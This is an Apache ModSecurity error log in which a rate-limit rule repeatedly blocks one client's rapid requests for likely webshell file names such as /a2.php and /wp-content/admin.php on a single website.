[Thu Apr 23 16:17:30.993775 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:5165] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVmm6I0QqmmmLTHE3GJQAAAJY"]
[Thu Apr 23 16:17:32.244326 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:21359] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVnG6I0QqmmmLTHE3GKQAAAJA"]
[Thu Apr 23 16:17:33.178329 2026] [:error] [pid 46953:tid 46968] [client 20.216.153.175:50845] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVnUnlpdHh-P6wKboGygAAAkw"]
[Thu Apr 23 16:17:34.122693 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:50876] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVnm6I0QqmmmLTHE3GMAAAAI0"]
[Thu Apr 23 16:17:35.159755 2026] [:error] [pid 59700:tid 59707] [client 20.216.153.175:20819] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVn5XyGZJFeAIDWtno6gAAAUU"]
[Thu Apr 23 16:17:35.903974 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:61074] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVn8OAb-3sOknsk4fLbwAAAEE"]
[Thu Apr 23 16:17:36.989560 2026] [:error] [pid 59700:tid 59710] [client 20.216.153.175:50832] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVoJXyGZJFeAIDWtno7wAAAUg"]
[Thu Apr 23 16:17:37.926553 2026] [:error] [pid 42973:tid 43044] [client 20.216.153.175:53651] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVoW6I0QqmmmLTHE3GOQAAAIE"]
[Thu Apr 23 16:17:38.551975 2026] [:error] [pid 42973:tid 43057] [client 20.216.153.175:61097] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVom6I0QqmmmLTHE3GPAAAAI4"]
[Thu Apr 23 16:17:39.758057 2026] [:error] [pid 64998:tid 65015] [client 20.216.153.175:13455] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVo4V5EysYcTLjmwjr9AAAAc0"]
[Thu Apr 23 16:17:40.785945 2026] [:error] [pid 43083:tid 43097] [client 20.216.153.175:34333] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inege.php"] [unique_id "aenVpDC5hrvNXosL83JShwAAAMw"]
[Thu Apr 23 16:18:01.637633 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:53660] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVuW6I0QqmmmLTHE3GdwAAAJI"]
[Thu Apr 23 16:18:02.333041 2026] [:error] [pid 42973:tid 43044] [client 20.216.153.175:21291] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVum6I0QqmmmLTHE3GeAAAAIE"]
[Thu Apr 23 16:18:02.477855 2026] [:error] [pid 42973:tid 43064] [client 20.216.153.175:13469] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenVum6I0QqmmmLTHE3GeQAAAJU"]
[Thu Apr 23 16:18:03.230518 2026] [:error] [pid 59700:tid 59705] [client 20.216.153.175:5162] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVu5XyGZJFeAIDWtno-QAAAUM"]
[Thu Apr 23 16:18:03.496889 2026] [:error] [pid 42971:tid 43001] [client 20.216.153.175:63659] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenVuzEP2_5RswrH8bELYQAAAA8"]
[Thu Apr 23 16:18:04.013193 2026] [:error] [pid 59700:tid 59721] [client 20.216.153.175:34331] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aenVvJXyGZJFeAIDWtno-gAAAVM"]
[Thu Apr 23 16:18:04.316095 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:21218] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenVvMOAb-3sOknsk4fLgAAAAEI"]
[Thu Apr 23 16:18:04.777142 2026] [:error] [pid 59700:tid 59722] [client 20.216.153.175:34313] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVvJXyGZJFeAIDWtno-wAAAVQ"]
[Thu Apr 23 16:18:05.501300 2026] [:error] [pid 59700:tid 59715] [client 20.216.153.175:11431] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVvZXyGZJFeAIDWtno_AAAAU0"]
[Thu Apr 23 16:18:05.593829 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:29248] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenVvUnlpdHh-P6wKboG2QAAAkY"]
[Thu Apr 23 16:18:06.225810 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:53694] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVvoV5EysYcTLjmwjsLAAAAdc"]
[Thu Apr 23 16:18:06.528955 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:21300] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenVvoV5EysYcTLjmwjsLwAAAdE"]
[Thu Apr 23 16:18:07.127692 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:14006] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aenVv4V5EysYcTLjmwjsMgAAAcU"]
[Thu Apr 23 16:18:07.388657 2026] [:error] [pid 59700:tid 59716] [client 20.216.153.175:58035] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenVv5XyGZJFeAIDWtno_gAAAU4"]
[Thu Apr 23 16:18:07.877161 2026] [:error] [pid 65000:tid 65047] [client 20.216.153.175:17353] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVv76vRb9j6psK2Za99gAAAg4"]
[Thu Apr 23 16:18:08.930746 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:35405] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVwMOAb-3sOknsk4fLgQAAAFY"]
[Thu Apr 23 16:18:09.715274 2026] [:error] [pid 43083:tid 43091] [client 20.216.153.175:17361] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVwTC5hrvNXosL83JSlAAAAMY"]
[Thu Apr 23 16:18:10.576927 2026] [:error] [pid 59700:tid 59711] [client 20.216.153.175:34327] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aenVwpXyGZJFeAIDWtnpAwAAAUk"]
[Thu Apr 23 16:18:11.317878 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:29307] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aenVw26I0QqmmmLTHE3GfgAAAJA"]
[Thu Apr 23 16:18:11.385031 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:53670] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenVw8OAb-3sOknsk4fLhAAAAEg"]
[Thu Apr 23 16:18:12.578150 2026] [:error] [pid 59700:tid 59717] [client 20.216.153.175:34636] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aenVxJXyGZJFeAIDWtnpBAAAAU8"]
[Thu Apr 23 16:18:13.324520 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:34639] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aenVxcOAb-3sOknsk4fLjQAAAEI"]
[Thu Apr 23 16:18:14.381339 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:34254] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aenVxsOAb-3sOknsk4fLlQAAAFI"]
[Thu Apr 23 16:18:15.269143 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:41886] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aenVx8OAb-3sOknsk4fLnQAAAE4"]
[Thu Apr 23 16:18:16.670658 2026] [:error] [pid 59700:tid 59709] [client 20.216.153.175:25983] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aenVyJXyGZJFeAIDWtnpCgAAAUc"]
[Thu Apr 23 16:18:17.654757 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:25988] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aenVycOAb-3sOknsk4fLpgAAAEc"]
[Thu Apr 23 16:18:18.604058 2026] [:error] [pid 64998:tid 65017] [client 20.216.153.175:48492] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aenVyoV5EysYcTLjmwjsPAAAAc8"]
[Thu Apr 23 16:18:19.434130 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:41882] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aenVy8OAb-3sOknsk4fLqwAAAFU"]
[Thu Apr 23 16:18:20.200443 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:45116] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aenVzMOAb-3sOknsk4fLtAAAAEQ"]
[Thu Apr 23 16:18:21.451703 2026] [:error] [pid 43083:tid 43104] [client 20.216.153.175:45058] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aenVzTC5hrvNXosL83JSnwAAANM"]
[Thu Apr 23 16:18:22.690687 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:45093] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aenVzsOAb-3sOknsk4fLwQAAAFU"]
[Thu Apr 23 16:18:23.790184 2026] [:error] [pid 46953:tid 46959] [client 20.216.153.175:61030] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aenVz0nlpdHh-P6wKboG4gAAAkM"]
[Thu Apr 23 16:18:24.738480 2026] [:error] [pid 42971:tid 43005] [client 20.216.153.175:5835] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aenV0DEP2_5RswrH8bELZgAAABM"]
[Thu Apr 23 16:18:25.402041 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:16577] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aenV0cOAb-3sOknsk4fLzgAAAEc"]
[Thu Apr 23 16:18:26.267564 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:5450] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aenV0m6I0QqmmmLTHE3GfwAAAJY"]
[Thu Apr 23 16:18:27.465525 2026] [:error] [pid 43083:tid 43097] [client 20.216.153.175:61006] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aenV0zC5hrvNXosL83JSowAAAMw"]
[Thu Apr 23 16:18:28.491315 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:52527] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aenV1G6I0QqmmmLTHE3GngAAAIk"]
[Thu Apr 23 16:18:29.283998 2026] [:error] [pid 65000:tid 65055] [client 20.216.153.175:19803] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aenV1b6vRb9j6psK2Za-GQAAAhY"]
[Thu Apr 23 16:18:30.001874 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:28790] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aenV1sOAb-3sOknsk4fL_wAAAFA"]
[Thu Apr 23 16:18:30.879073 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:5631] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenV1sOAb-3sOknsk4fMAwAAAFE"]
[Thu Apr 23 16:18:31.846406 2026] [:error] [pid 64967:tid 64975] [client 20.216.153.175:31260] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenV14AV4GfOOdX8QzpYUAAAAYY"]
[Thu Apr 23 16:18:32.828799 2026] [:error] [pid 42972:tid 43021] [client 20.216.153.175:19787] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenV2MOAb-3sOknsk4fMDQAAAEU"]
[Thu Apr 23 16:18:33.724473 2026] [:error] [pid 42971:tid 43003] [client 20.216.153.175:5600] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aenV2TEP2_5RswrH8bELcQAAABE"]
[Thu Apr 23 16:18:34.968588 2026] [:error] [pid 42971:tid 42993] [client 20.216.153.175:31256] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenV2jEP2_5RswrH8bELdAAAAAc"]
[Thu Apr 23 16:18:36.417942 2026] [:error] [pid 42973:tid 43045] [client 20.216.153.175:47307] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenV3G6I0QqmmmLTHE3GtQAAAII"]
